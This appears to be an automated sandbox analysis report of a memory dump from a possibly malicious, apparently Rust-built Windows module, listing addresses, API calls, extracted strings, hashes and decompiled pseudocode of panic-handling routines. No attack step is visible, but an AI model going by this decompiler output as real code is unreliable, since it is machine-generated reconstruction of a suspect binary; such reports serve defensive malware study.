0x00000000
0x6ebee0d4
0x6ebee0cc
0x6ebee08b
0x6ebee067
0x6ebee067
0x6ebee06b
0x00000000
0x6ebee071
0x6ebee1f3
0x6ebee1f3
0x6ebee1f7
0x6ebee287
0x6ebee287
0x6ebee28a
0x6ebee28c
0x6ebee28e
0x6ebee292
0x6ebee29d
0x6ebee29d
0x6ebee292
0x6ebee2a2
0x6ebee1fd
0x6ebee200
0x6ebee20a
0x6ebee214
0x6ebee21e
0x6ebee228
0x6ebee232
0x6ebee248
0x6ebee249
0x6ebee251
0x6ebee253
0x00000000
0x00000000
0x00000000
0x00000000
0x6ebee253
0x6ebee1f7
0x6ebee272
0x6ebee278
0x6ebee286
0x6ebee286
0x6ebee065
0x6ebedfdc
0x00000000

APIs

SetLastError.KERNEL32(00000000), ref: 6EBEDE42
GetCurrentDirectoryW.KERNEL32(?,?), ref: 6EBEDE4A
GetLastError.KERNEL32 ref: 6EBEDE56
GetLastError.KERNEL32 ref: 6EBEDE68
GetLastError.KERNEL32 ref: 6EBEDECC
HeapFree.KERNEL32(00000000,00000000), ref: 6EBEDEFD
HeapFree.KERNEL32(00000000,?), ref: 6EBEDF47
HeapFree.KERNEL32(00000000,?), ref: 6EBEDF58
GetCurrentProcess.KERNEL32(?), ref: 6EBEE031
GetCurrentThread.KERNEL32 ref: 6EBEE039
RtlCaptureContext.KERNEL32(?), ref: 6EBEE059
GetProcAddress.KERNEL32(SymFunctionTableAccess64,?), ref: 6EBEE09A
GetProcAddress.KERNEL32(SymGetModuleBase64), ref: 6EBEE0C4
GetCurrentProcess.KERNEL32 ref: 6EBEE0D9
GetProcAddress.KERNEL32(StackWalkEx), ref: 6EBEE0FB
ReleaseMutex.KERNEL32(?), ref: 6EBEE1E8
HeapFree.KERNEL32(00000000,?), ref: 6EBEE26B
HeapFree.KERNEL32(00000000,?,?), ref: 6EBEE29D
GetProcAddress.KERNEL32(StackWalk64), ref: 6EBEE345

Strings

StackWalk64, xrefs: 6EBEE33A
SymFunctionTableAccess64, xrefs: 6EBEE08F
StackWalkEx, xrefs: 6EBEE0F0
called `Option::unwrap()` on a `None` value, xrefs: 6EBEE3CC, 6EBEE3EF, 6EBEE412
SymGetModuleBase64, xrefs: 6EBEE0B9

Memory Dump Source

Source File: 00000001.00000002.719649358.000000006EBE1000.00000020.00020000.sdmp, Offset: 6EBE0000, based on PE: true

Associated: 00000001.00000002.719635271.000000006EBE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.719749035.000000006EC0A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.719939198.000000006EC3D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.719952409.000000006EC3F000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.719965669.000000006EC40000.00000002.00020000.sdmp Download File

Similarity

API ID: FreeHeap$AddressCurrentErrorLastProc$Process$CaptureContextDirectoryMutexReleaseThread
String ID: StackWalk64$StackWalkEx$SymFunctionTableAccess64$SymGetModuleBase64$called `Option::unwrap()` on a `None` value
API String ID: 1381040140-1036201984
Opcode ID: 0b53a9ddd5ee5a0b50f76661a4ec2b6867ff8cce1494b89f7b72172944327c61
Instruction ID: 267e222b2769852220dfca107d7133ca86a3eea9be8393f6c85761499a24443e
Opcode Fuzzy Hash: 0b53a9ddd5ee5a0b50f76661a4ec2b6867ff8cce1494b89f7b72172944327c61
Instruction Fuzzy Hash: 6C1248B1500B409FE731CFA0C994B97BBF4BB49348F10492DE5AA87A91E7B1B449CF52

Uniqueness

Uniqueness Score: -1.00%

Function 6EBEC700, Relevance: 32.0, APIs: 14, Strings: 4, Instructions: 477
memoryCOMMON

Download Yara Rule

C-Code - Quality: 69%

			E6EBEC700(long _a4, signed int _a8) {
				void* _v20;
				intOrPtr _v24;
				char _v28;
				intOrPtr _v32;
				void* _v36;
				void* _v40;
				char _v41;
				long _v48;
				long* _v52;
				intOrPtr _v56;
				long _v60;
				void _v64;
				long* _v68;
				long _v72;
				char _v76;
				long* _v80;
				void* _v84;
				char _v88;
				long _v92;
				char* _v96;
				long _v100;
				void* _v104;
				void** _v108;
				void* _v112;
				long _v116;
				void* _v120;
				long _v124;
				char _v128;
				intOrPtr _v132;
				void _v136;
				void* _v140;
				intOrPtr _v144;
				signed int _v148;
				intOrPtr _v152;
				intOrPtr* _t190;
				void* _t194;
				void _t195;
				intOrPtr* _t196;
				signed int _t197;
				signed int _t199;
				char* _t201;
				long _t202;
				long _t203;
				void* _t204;
				void* _t205;
				long _t206;
				void _t209;
				void _t210;
				void* _t219;
				void* _t222;
				long _t226;
				void* _t235;
				void* _t245;
				void* _t247;
				void* _t248;
				char** _t251;
				char** _t252;
				void* _t256;
				void* _t260;
				void _t264;
				char _t265;
				signed char _t267;
				void _t270;
				intOrPtr _t273;
				void* _t275;
				char* _t276;
				void _t277;
				void* _t280;
				intOrPtr _t291;
				intOrPtr _t295;
				void _t298;
				long _t302;
				void* _t307;
				void* _t308;
				void* _t309;
				signed int _t310;
				signed int _t312;
				void* _t318;
				intOrPtr* _t324;
				long _t326;
				void* _t327;
				void* _t330;
				void* _t331;
				void* _t332;
				void* _t333;
				void* _t334;
				void* _t335;
				intOrPtr _t336;
				void* _t347;
				void* _t360;
				long _t361;

				_v32 = _t336;
				_v20 = 0xffffffff;
				_v24 = E6EBF39A0;
				_t264 = _t270;
				_t332 = 1;
				_t330 = _t307;
				_v28 =  *[fs:0x0];
				 *[fs:0x0] =  &_v28;
				asm("lock xadd [0x6ec3e120], esi");
				_t190 = E6EBED000(_t264, _t330);
				_t337 = _t190;
				if(_t190 == 0) {
					_t190 = E6EC095A0(_t264,  &M6EC2F8F7, 0x46, _t337,  &_v68, 0x6ec2f870, 0x6ec2f9bc);
					_t336 = _t336 + 0xc;
					asm("ud2");
				}
				_t308 = _a8;
				_t273 =  *_t190 + 1;
				 *_t190 = _t273;
				if(_t332 < 0 || _t273 >= 3) {
					__eflags = _t273 - 2;
					if(__eflags <= 0) {
						_v124 = 0x6ec2f570;
						_v120 = 0x6ec2f824;
						_v68 = 0x6ec30260;
						_v64 = 2;
						_v96 = 0;
						_v100 = 0;
						_v60 = 0;
						_v116 = _a4;
						_v112 = _t308;
						_t309 =  &_v68;
						_v80 =  &_v124;
						_v76 = E6EBE2470;
						_v52 =  &_v80;
						_v48 = 1;
						_t194 = E6EBED0F0( &_v100, __eflags);
						__eflags = _t194 - 3;
						if(_t194 == 3) {
							_v20 = 0;
							_v36 = _t309;
							 *((intOrPtr*)( *((intOrPtr*)(_t309 + 4))))( *_t309);
							_t336 = _t336 + 4;
							L11:
							_t332 = _v36;
							_t302 =  *(_t332 + 4);
							__eflags =  *(4 + _t302);
							if( *(4 + _t302) != 0) {
								_t256 =  *_t332;
								__eflags =  *((intOrPtr*)(_t302 + 8)) - 9;
								if( *((intOrPtr*)(_t302 + 8)) >= 9) {
									_t256 =  *(_t256 - 4);
								}
								HeapFree( *0x6ec3e128, 0, _t256);
							}
							_t194 = HeapFree( *0x6ec3e128, 0, _t332);
						}
						goto L16;
					}
					_t327 =  &_v68;
					_v68 = 0x6ec30224;
					_v64 = 1;
					_v60 = 0;
					_v52 = 0x6ec2f570;
					_v120 = 0;
					_v124 = 0;
					_v48 = 0;
					_t194 = E6EBED0F0( &_v124, __eflags);
					__eflags = _t194 - 3;
					if(_t194 != 3) {
						goto L16;
					} else {
						_v20 = 1;
						_v36 = _t327;
						 *((intOrPtr*)( *((intOrPtr*)(_t327 + 4))))( *_t327);
						_t336 = _t336 + 4;
						goto L11;
					}
				} else {
					_v132 = _t273;
					__imp__AcquireSRWLockShared(0x6ec3e11c);
					_v144 = 0x6ec3e11c;
					_v20 = 2;
					_v136 = _t264;
					_v140 = _t330;
					_t260 =  *((intOrPtr*)(_t330 + 0x10))(_t264);
					_t336 = _t336 + 4;
					_v36 = _t260;
					_v40 = _t308;
					_t194 = E6EBED000(_t264, _t330);
					_t330 = _v40;
					_t340 = _t194;
					if(_t194 != 0) {
						L17:
						__eflags =  *_t194 - 1;
						_t275 = 1;
						if( *_t194 <= 1) {
							_t195 =  *0x6ec3e110; // 0x0
							_t310 = _a8;
							__eflags = _t195 - 2;
							if(_t195 == 2) {
								_t275 = 0;
								goto L19;
							}
							__eflags = _t195 - 1;
							if(_t195 == 1) {
								_t275 = 4;
								goto L19;
							}
							__eflags = _t195;
							if(_t195 != 0) {
								goto L19;
							}
							E6EBED380(_t264,  &_v68, _t330, _t332);
							_t330 = _v40;
							_t248 = _v68;
							__eflags = _t248;
							if(_t248 != 0) {
								goto L68;
							}
							_t267 = 5;
							goto L86;
						}
						_t310 = _a8;
						goto L19;
					} else {
						E6EC095A0(_t264,  &M6EC2F8F7, 0x46, _t340,  &_v68, 0x6ec2f870, 0x6ec2f9bc);
						_t336 = _t336 + 0xc;
						L61:
						asm("ud2");
						L62:
						_t276 = "Box<dyn Any><unnamed>thread \'\' panicked at \'\', ";
						_t201 = 0xc;
						L21:
						_v100 = _t276;
						_v96 = _t201;
						_t202 =  *0x6ec3d044; // 0x0
						if(_t202 == 0) {
							_t280 = 0x6ec3d044;
							_t202 = E6EBF2960(_t264, 0x6ec3d044, _t330, _t332);
						}
						_t194 = TlsGetValue(_t202);
						if(_t194 <= 1) {
							L42:
							_t203 =  *0x6ec3d044; // 0x0
							__eflags = _t203;
							if(_t203 == 0) {
								_t280 = 0x6ec3d044;
								_t203 = E6EBF2960(_t264, 0x6ec3d044, _t330, _t332);
							}
							_t194 = TlsGetValue(_t203);
							__eflags = _t194;
							if(_t194 == 0) {
								_t204 =  *0x6ec3e128; // 0x820000
								__eflags = _t204;
								if(_t204 != 0) {
									L66:
									_t205 = HeapAlloc(_t204, 0, 0x10);
									__eflags = _t205;
									if(__eflags != 0) {
										 *_t205 = 0;
										 *(_t205 + 0xc) = 0x6ec3d044;
										_t332 = _t205;
										_t206 =  *0x6ec3d044; // 0x0
										__eflags = _t206;
										if(_t206 == 0) {
											_v36 = _t332;
											_t206 = E6EBF2960(_t264, 0x6ec3d044, _t330, _t332);
											_t332 = _v36;
										}
										_t194 = TlsSetValue(_t206, _t332);
										goto L75;
									}
									L67:
									_t248 = E6EC092F0(_t264, 0x10, 4, _t330, _t332, __eflags);
									asm("ud2");
									L68:
									_t326 = _v60;
									_t298 = _v64;
									__eflags = _t326 - 4;
									if(_t326 == 4) {
										__eflags =  *_t248 - 0x6c6c7566;
										if( *_t248 != 0x6c6c7566) {
											L83:
											_t332 = 2;
											_t267 = 0;
											__eflags = 0;
											L84:
											__eflags = _t298;
											if(_t298 != 0) {
												HeapFree( *0x6ec3e128, 0, _t248);
											}
											L86:
											__eflags = _t267 - 5;
											_t310 = _a8;
											_t269 =  !=  ? _t332 : 1;
											_t275 =  !=  ? _t267 & 0x000000ff : 4;
											_t142 =  !=  ? _t332 : 1;
											_t264 =  *0x6ec3e110;
											 *0x6ec3e110 =  !=  ? _t332 : 1;
											L19:
											_v148 = _t310;
											_v128 = _t275;
											_t59 = _t330 + 0xc; // 0x6ebf3290
											_t196 =  *_t59;
											_v40 = _t196;
											_t197 =  *_t196(_v36);
											_t336 = _t336 + 4;
											_t312 = _t310 ^ 0x7ef2a91e | _t197 ^ 0xecc7bcf4;
											__eflags = _t312;
											if(__eflags != 0) {
												_t199 = _v40(_v36);
												_t336 = _t336 + 4;
												__eflags = _t312 ^ 0xe43a67d8 | _t199 ^ 0xbae7a625;
												if(__eflags != 0) {
													goto L62;
												}
												_t251 = _v36;
												_t276 =  *_t251;
												_t201 = _t251[2];
												goto L21;
											}
											_t252 = _v36;
											_t276 =  *_t252;
											_t201 = _t252[1];
											goto L21;
										}
										_t267 = 1;
										_t332 = 3;
										goto L84;
									}
									__eflags = _t326 - 1;
									if(_t326 != 1) {
										goto L83;
									}
									__eflags =  *_t248 - 0x30;
									if( *_t248 != 0x30) {
										goto L83;
									}
									_t267 = 4;
									_t332 = 1;
									goto L84;
								}
								_t204 = GetProcessHeap();
								__eflags = _t204;
								if(__eflags == 0) {
									goto L67;
								}
								 *0x6ec3e128 = _t204;
								goto L66;
							} else {
								_t332 = _t194;
								__eflags = _t194 - 1;
								if(_t194 != 1) {
									L75:
									_t277 =  *(_t332 + 8);
									__eflags =  *_t332;
									_t136 = _t332 + 4; // 0x4
									_t330 = _t136;
									 *_t332 = 1;
									 *(_t332 + 4) = 0;
									 *(_t332 + 8) = 0;
									if(__eflags != 0) {
										__eflags = _t277;
										if(__eflags != 0) {
											asm("lock dec dword [ecx]");
											if(__eflags == 0) {
												_t194 = E6EBEC640(_t277);
											}
										}
									}
									goto L26;
								}
								_v84 = 0;
								_v36 = 0;
								_t210 = 0;
								__eflags = 0;
								goto L47;
							}
						} else {
							_t330 = _t194;
							if( *_t194 != 1) {
								goto L42;
							}
							_t330 = _t330 + 4;
							L26:
							if( *_t330 != 0) {
								E6EC095A0(_t264, "already borrowedC:cmfltobzsqiwzwswifceeeiuunqkihdnyjizwfcsrqtsqkmwekwaanfzackndqagesnhktvjovmkrgyplrusstvgwloxgtnnoxmtpmkzzsudqjpdkuwbmncfcubd", 0x10, __eflags,  &_v68, 0x6ec2f860, 0x6ec2ff30);
								_t336 = _t336 + 0xc;
								goto L61;
							}
							 *_t330 = 0xffffffff;
							_t332 =  *(_t330 + 4);
							if(_t332 == 0) {
								_v36 = _t330;
								_v20 = 8;
								_t247 = E6EBEC4D0(_t264, _t330, _t332);
								_t330 = _v36;
								_t332 = _t247;
								_t194 =  *(_t330 + 4);
								_t347 = _t194;
								if(_t347 != 0) {
									asm("lock dec dword [eax]");
									if(_t347 == 0) {
										_t280 =  *(_t330 + 4);
										_t194 = E6EBEC640(_t280);
									}
								}
								 *(_t330 + 4) = _t332;
							}
							asm("lock inc dword [esi]");
							if(_t347 <= 0) {
								L16:
								asm("ud2");
								asm("ud2");
								goto L17;
							} else {
								 *_t330 =  *_t330 + 1;
								_v84 = _t332;
								_v36 = _t332;
								if(_t332 != 0) {
									_t209 =  *(_t332 + 0x10);
									__eflags = _t209;
									_t280 =  ==  ? _t209 : _t332 + 0x10;
									if(__eflags != 0) {
										L103:
										_t210 =  *_t280;
										_t280 =  *((intOrPtr*)(_t280 + 4)) - 1;
										L104:
										_v20 = 3;
										L47:
										_v124 = 0x6ec3010c;
										_v120 = 4;
										_v72 = 0;
										_v88 = 0;
										_v92 = 0;
										_v116 = 0;
										_v20 = 3;
										_t317 =  !=  ? _t210 : "<unnamed>thread \'\' panicked at \'\', ";
										_t212 =  !=  ? _t280 : 9;
										_v80 =  !=  ? _t210 : "<unnamed>thread \'\' panicked at \'\', ";
										_t318 =  &_v124;
										_v76 =  !=  ? _t280 : 9;
										_v68 =  &_v80;
										_v64 = 0x6ebedca0;
										_v60 =  &_v100;
										_v56 = 0x6ebedca0;
										_v52 =  &_v148;
										_v48 = E6EBEDCC0;
										_v108 =  &_v68;
										_v104 = 3;
										if(E6EBED0F0( &_v92, _t210) == 3) {
											_v20 = 7;
											_v40 = _t318;
											 *((intOrPtr*)( *((intOrPtr*)(_t318 + 4))))( *_t318);
											_t336 = _t336 + 4;
											_t335 = _v40;
											_t295 =  *((intOrPtr*)(_t335 + 4));
											if( *((intOrPtr*)(_t295 + 4)) != 0) {
												_t245 =  *_t335;
												if( *((intOrPtr*)(_t295 + 8)) >= 9) {
													_t245 =  *(_t245 - 4);
												}
												HeapFree( *0x6ec3e128, 0, _t245);
											}
											HeapFree( *0x6ec3e128, 0, _t335);
										}
										_t265 = _v128;
										_t219 =  <  ? (_t265 + 0x000000fd & 0x000000ff) + 1 : 0;
										if(_t219 == 0) {
											__imp__AcquireSRWLockExclusive(0x6ec3e10c);
											_v68 = 0x6ec2fad0;
											_v64 = 1;
											_v152 = 0x6ec3e10c;
											_v41 = _t265;
											_v60 = 0;
											_v20 = 6;
											_v124 =  &_v41;
											_v120 = E6EBEDD30;
											_v52 =  &_v124;
											_v48 = 1;
											_t222 = E6EBED0F0( &_v92, __eflags);
											_t333 =  &_v68;
											__imp__ReleaseSRWLockExclusive(0x6ec3e10c);
											__eflags = _t222 - 3;
											if(__eflags != 0) {
												goto L94;
											}
											_v20 = 5;
											_v40 = _t333;
											 *((intOrPtr*)( *((intOrPtr*)(_t333 + 4))))( *_t333);
											_t336 = _t336 + 4;
											goto L89;
										} else {
											if(_t219 == 1) {
												L94:
												_t360 = _v36;
												if(_t360 != 0) {
													asm("lock dec dword [eax]");
													if(_t360 == 0) {
														E6EBEC640(_v84);
													}
												}
												_t334 = _v140;
												_t331 = _v136;
												_t361 = _v72;
												if(_t361 != 0) {
													asm("lock dec dword [eax]");
													if(_t361 == 0) {
														E6EBEDA70(_v72);
													}
												}
												__imp__ReleaseSRWLockShared(0x6ec3e11c);
												_t362 = _v132 - 1;
												_v20 = 0xffffffff;
												if(_v132 > 1) {
													_v68 = 0x6ec3029c;
													_v64 = 1;
													_v60 = 0;
													_v52 = 0x6ec2f570;
													_v76 = 0;
													_v80 = 0;
													_v48 = 0;
													_t226 = E6EBED0F0( &_v80, _t362);
													_v120 =  &_v68;
													_v124 = _t226;
													E6EBED2B0( &_v124);
													asm("ud2");
													asm("ud2");
												}
												_t280 = _t331;
												E6EBED290(_t280, _t334);
												asm("ud2");
												goto L103;
											}
											 *0x6ec3d040 = 0;
											_t356 =  *0x6ec3d040;
											if( *0x6ec3d040 == 0) {
												goto L94;
											}
											_t324 =  &_v68;
											_v68 = 0x6ec3017c;
											_v64 = 1;
											_v60 = 0;
											_v52 = 0x6ec2f570;
											_v48 = 0;
											_v20 = 3;
											if(E6EBED0F0( &_v92, _t356) != 3) {
												goto L94;
											}
											_v40 = _t324;
											_v20 = 4;
											 *((intOrPtr*)( *((intOrPtr*)(_t324 + 4))))( *_t324);
											_t336 = _t336 + 4;
											L89:
											_t291 =  *((intOrPtr*)(_v40 + 4));
											if( *((intOrPtr*)(_t291 + 4)) != 0) {
												_t235 =  *_v40;
												if( *((intOrPtr*)(_t291 + 8)) >= 9) {
													_t235 =  *(_t235 - 4);
												}
												HeapFree( *0x6ec3e128, 0, _t235);
											}
											HeapFree( *0x6ec3e128, 0, _v40);
											goto L94;
										}
									}
									_t210 = 0;
									goto L104;
								}
								_t210 = 0;
								goto L47;
							}
						}
					}
				}
			}

0x6ebec70c
0x6ebec70f
0x6ebec716
0x6ebec71d
0x6ebec722
0x6ebec727
0x6ebec730
0x6ebec733
0x6ebec739
0x6ebec741
0x6ebec746
0x6ebec748
0x6ebec762
0x6ebec767
0x6ebec76a
0x6ebec76a
0x6ebec76e
0x6ebec771
0x6ebec774
0x6ebec776
0x6ebec7ea
0x6ebec7ed
0x6ebec84a
0x6ebec851
0x6ebec85b
0x6ebec862
0x6ebec869
0x6ebec86d
0x6ebec874
0x6ebec87b
0x6ebec881
0x6ebec884
0x6ebec887
0x6ebec88d
0x6ebec894
0x6ebec897
0x6ebec89e
0x6ebec8a3
0x6ebec8a5
0x6ebec8ac
0x6ebec8b4
0x6ebec8b7
0x6ebec8b9
0x6ebec8bc
0x6ebec8bc
0x6ebec8bf
0x6ebec8c2
0x6ebec8c6
0x6ebec8c8
0x6ebec8ca
0x6ebec8ce
0x6ebec8d0
0x6ebec8d0
0x6ebec8dc
0x6ebec8dc
0x6ebec8ea
0x6ebec8ea
0x00000000
0x6ebec8a5
0x6ebec7f2
0x6ebec7f5
0x6ebec7fc
0x6ebec803
0x6ebec80a
0x6ebec811
0x6ebec815
0x6ebec81c
0x6ebec823
0x6ebec828
0x6ebec82a
0x00000000
0x6ebec830
0x6ebec835
0x6ebec83d
0x6ebec840
0x6ebec842
0x00000000
0x6ebec842
0x6ebec77d
0x6ebec77d
0x6ebec785
0x6ebec78b
0x6ebec795
0x6ebec79c
0x6ebec7a3
0x6ebec7a9
0x6ebec7ac
0x6ebec7af
0x6ebec7b2
0x6ebec7b5
0x6ebec7ba
0x6ebec7bd
0x6ebec7bf
0x6ebec8f3
0x6ebec8f3
0x6ebec8f6
0x6ebec8f8
0x6ebec9cb
0x6ebec9d0
0x6ebec9d3
0x6ebec9d6
0x6ebecbd7
0x00000000
0x6ebecbd7
0x6ebec9dc
0x6ebec9df
0x6ebecbd0
0x00000000
0x6ebecbd0
0x6ebec9e5
0x6ebec9e7
0x00000000
0x00000000
0x6ebec9f0
0x6ebec9f5
0x6ebec9f8
0x6ebec9fb
0x6ebec9fd
0x00000000
0x00000000
0x6ebeca03
0x00000000
0x6ebeca03
0x6ebec8fe
0x00000000
0x6ebec7c5
0x6ebec7dd
0x6ebec7e2
0x6ebecbfe
0x6ebecbfe
0x6ebecc00
0x6ebecc00
0x6ebecc05
0x6ebec933
0x6ebec933
0x6ebec936
0x6ebec939
0x6ebec940
0x6ebec942
0x6ebec947
0x6ebec947
0x6ebec94d
0x6ebec956
0x6ebeca33
0x6ebeca33
0x6ebeca38
0x6ebeca3a
0x6ebeca3c
0x6ebeca41
0x6ebeca41
0x6ebeca47
0x6ebeca4d
0x6ebeca4f
0x6ebecc0f
0x6ebecc14
0x6ebecc16
0x6ebecc26
0x6ebecc2b
0x6ebecc30
0x6ebecc32
0x6ebecc72
0x6ebecc78
0x6ebecc7f
0x6ebecc81
0x6ebecc86
0x6ebecc88
0x6ebecc8f
0x6ebecc92
0x6ebecc97
0x6ebecc97
0x6ebecc9c
0x00000000
0x6ebecc9c
0x6ebecc34
0x6ebecc3e
0x6ebecc43
0x6ebecc45
0x6ebecc45
0x6ebecc48
0x6ebecc4b
0x6ebecc4e
0x6ebeccf8
0x6ebeccfe
0x6ebecd09
0x6ebecd09
0x6ebecd0e
0x6ebecd0e
0x6ebecd10
0x6ebecd10
0x6ebecd12
0x6ebecd1d
0x6ebecd1d
0x6ebecd22
0x6ebecd22
0x6ebecd2d
0x6ebecd35
0x6ebecd38
0x6ebecd3b
0x6ebecd3b
0x6ebecd3b
0x6ebec901
0x6ebec901
0x6ebec907
0x6ebec90a
0x6ebec90a
0x6ebec910
0x6ebec913
0x6ebec915
0x6ebec923
0x6ebec923
0x6ebec925
0x6ebeca0d
0x6ebeca10
0x6ebeca1e
0x6ebeca20
0x00000000
0x00000000
0x6ebeca26
0x6ebeca29
0x6ebeca2b
0x00000000
0x6ebeca2b
0x6ebec92b
0x6ebec92e
0x6ebec930
0x00000000
0x6ebec930
0x6ebecd00
0x6ebecd02
0x00000000
0x6ebecd02
0x6ebecc54
0x6ebecc57
0x00000000
0x00000000
0x6ebecc5d
0x6ebecc60
0x00000000
0x00000000
0x6ebecc66
0x6ebecc68
0x00000000
0x6ebecc68
0x6ebecc18
0x6ebecc1d
0x6ebecc1f
0x00000000
0x00000000
0x6ebecc21
0x00000000
0x6ebeca55
0x6ebeca55
0x6ebeca57
0x6ebeca5a
0x6ebecca2
0x6ebecca2
0x6ebecca5
0x6ebecca8
0x6ebecca8
0x6ebeccab
0x6ebeccb1
0x6ebeccb8
0x6ebeccbf
0x6ebeccc5
0x6ebeccc7
0x6ebecccd
0x6ebeccd0
0x6ebeccd6
0x6ebeccd6
0x6ebeccd0
0x6ebeccc7
0x00000000
0x6ebeccbf
0x6ebeca60
0x6ebeca67
0x6ebeca6e
0x6ebeca6e
0x00000000
0x6ebeca6e
0x6ebec95c
0x6ebec95f
0x6ebec961
0x00000000
0x00000000
0x6ebec967
0x6ebec96a
0x6ebec96d
0x6ebecbf6
0x6ebecbfb
0x00000000
0x6ebecbfb
0x6ebec973
0x6ebec979
0x6ebec97e
0x6ebec980
0x6ebec983
0x6ebec98a
0x6ebec98f
0x6ebec992
0x6ebec994
0x6ebec997
0x6ebec999
0x6ebec99b
0x6ebec99e
0x6ebec9a0
0x6ebec9a3
0x6ebec9a3
0x6ebec99e
0x6ebec9a8
0x6ebec9a8
0x6ebec9ab
0x6ebec9ae
0x6ebec8ef
0x6ebec8ef
0x6ebec8f1
0x00000000
0x6ebec9b4
0x6ebec9b4
0x6ebec9b8
0x6ebec9bb
0x6ebec9be
0x6ebecce0
0x6ebecce6
0x6ebecce8
0x6ebecceb
0x6ebecea2
0x6ebecea2
0x6ebecea7
0x6ebecea8
0x6ebecea8
0x6ebeca70
0x6ebeca77
0x6ebeca7e
0x6ebeca85
0x6ebeca8c
0x6ebeca90
0x6ebeca97
0x6ebeca9e
0x6ebecaa5
0x6ebecaad
0x6ebecab0
0x6ebecab6
0x6ebecab9
0x6ebecabf
0x6ebecac5
0x6ebecacc
0x6ebecad5
0x6ebecadc
0x6ebecae2
0x6ebecae9
0x6ebecaec
0x6ebecafa
0x6ebecb01
0x6ebecb09
0x6ebecb0c
0x6ebecb0e
0x6ebecb11
0x6ebecb14
0x6ebecb1b
0x6ebecb1d
0x6ebecb23
0x6ebecb25
0x6ebecb25
0x6ebecb31
0x6ebecb31
0x6ebecb3f
0x6ebecb3f
0x6ebecb44
0x6ebecb55
0x6ebecb5a
0x6ebecd4b
0x6ebecd5a
0x6ebecd61
0x6ebecd68
0x6ebecd72
0x6ebecd75
0x6ebecd7c
0x6ebecd83
0x6ebecd89
0x6ebecd90
0x6ebecd93
0x6ebecd9a
0x6ebecd9f
0x6ebecda8
0x6ebecdae
0x6ebecdb1
0x00000000
0x00000000
0x6ebecdb8
0x6ebecdc0
0x6ebecdc3
0x6ebecdc5
0x00000000
0x6ebecb60
0x6ebecb63
0x6ebece00
0x6ebece03
0x6ebece05
0x6ebece07
0x6ebece0a
0x6ebece0f
0x6ebece0f
0x6ebece0a
0x6ebece17
0x6ebece1d
0x6ebece23
0x6ebece25
0x6ebece27
0x6ebece2a
0x6ebece2f
0x6ebece2f
0x6ebece2a
0x6ebece39
0x6ebece3f
0x6ebece43
0x6ebece4a
0x6ebece52
0x6ebece59
0x6ebece60
0x6ebece67
0x6ebece6e
0x6ebece72
0x6ebece79
0x6ebece80
0x6ebece88
0x6ebece8b
0x6ebece8e
0x6ebece93
0x6ebece95
0x6ebece95
0x6ebece97
0x6ebece9b
0x6ebecea0
0x00000000
0x6ebecea0
0x6ebecb6b
0x6ebecb71
0x6ebecb73
0x00000000
0x00000000
0x6ebecb7c
0x6ebecb7f
0x6ebecb86
0x6ebecb8d
0x6ebecb94
0x6ebecb9b
0x6ebecba2
0x6ebecbb0
0x00000000
0x00000000
0x6ebecbbb
0x6ebecbbe
0x6ebecbc6
0x6ebecbc8
0x6ebecdc8
0x6ebecdcb
0x6ebecdd2
0x6ebecddb
0x6ebecddd
0x6ebecddf
0x6ebecddf
0x6ebecdeb
0x6ebecdeb
0x6ebecdfb
0x00000000
0x6ebecdfb
0x6ebecb5a
0x6ebeccf1
0x00000000
0x6ebeccf1
0x6ebec9c4
0x00000000
0x6ebec9c4
0x6ebec9ae
0x6ebec956
0x6ebec7bf

APIs

Part of subcall function 6EBED000: TlsGetValue.KERNEL32(00000000,00000001,6EBEC746), ref: 6EBED00B
Part of subcall function 6EBED000: TlsGetValue.KERNEL32(00000000), ref: 6EBED043

AcquireSRWLockShared.KERNEL32(6EC3E11C), ref: 6EBEC785
HeapFree.KERNEL32(00000000,00000000), ref: 6EBEC8DC
HeapFree.KERNEL32(00000000,?), ref: 6EBEC8EA
TlsGetValue.KERNEL32(00000000), ref: 6EBEC94D
TlsGetValue.KERNEL32(00000000), ref: 6EBECA47
HeapFree.KERNEL32(00000000,00000000), ref: 6EBECB31
HeapFree.KERNEL32(00000000,?), ref: 6EBECB3F
GetProcessHeap.KERNEL32 ref: 6EBECC18
HeapAlloc.KERNEL32(00820000,00000000,00000010), ref: 6EBECC2B
TlsSetValue.KERNEL32(00000000,00000000,00820000,00000000,00000010), ref: 6EBECC9C
HeapFree.KERNEL32(00000000,00000000,00820000,00000000,00000010), ref: 6EBECD1D

Strings

already borrowedC:cmfltobzsqiwzwswifceeeiuunqkihdnyjizwfcsrqtsqkmwekwaanfzackndqagesnhktvjovmkrgyplrusstvgwloxgtnnoxmtpmkzzsudqjpdkuwbmncfcubd, xrefs: 6EBECBE1
full, xrefs: 6EBECCF8
Box<dyn Any><unnamed>thread '' panicked at '', , xrefs: 6EBECC00
cannot access a Thread Local Storage value during or after destructionC:kqwvpwvvlwjdcfhskugiowpmgqvcpfwggcvmmylhvkfknbiwgoixhewssvmqfpwemyruhmqomiebebgwzyjtgnzgjfkbtcehpwhopimlufuwcaldobojssciqoa, xrefs: 6EBEC74D, 6EBEC7C8

Memory Dump Source

Source File: 00000001.00000002.719649358.000000006EBE1000.00000020.00020000.sdmp, Offset: 6EBE0000, based on PE: true

Associated: 00000001.00000002.719635271.000000006EBE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.719749035.000000006EC0A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.719939198.000000006EC3D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.719952409.000000006EC3F000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.719965669.000000006EC40000.00000002.00020000.sdmp Download File

Similarity

API ID: Heap$FreeValue$AcquireAllocLockProcessShared
String ID: Box<dyn Any><unnamed>thread '' panicked at '', $already borrowedC:cmfltobzsqiwzwswifceeeiuunqkihdnyjizwfcsrqtsqkmwekwaanfzackndqagesnhktvjovmkrgyplrusstvgwloxgtnnoxmtpmkzzsudqjpdkuwbmncfcubd$cannot access a Thread Local Storage value during or after destructionC:kqwvpwvvlwjdcfhskugiowpmgqvcpfwggcvmmylhvkfknbiwgoixhewssvmqfpwemyruhmqomiebebgwzyjtgnzgjfkbtcehpwhopimlufuwcaldobojssciqoa$full
API String ID: 2275035175-262129955
Opcode ID: da68b6bf59df1b2a2da2d85aa4450c82f90e0927e0cc725b5a88763fc5933aec
Instruction ID: a470bb7bef90f1ca47e243e1ae98123a821a1fff1efef3ff274746f5d16e963b
Opcode Fuzzy Hash: da68b6bf59df1b2a2da2d85aa4450c82f90e0927e0cc725b5a88763fc5933aec
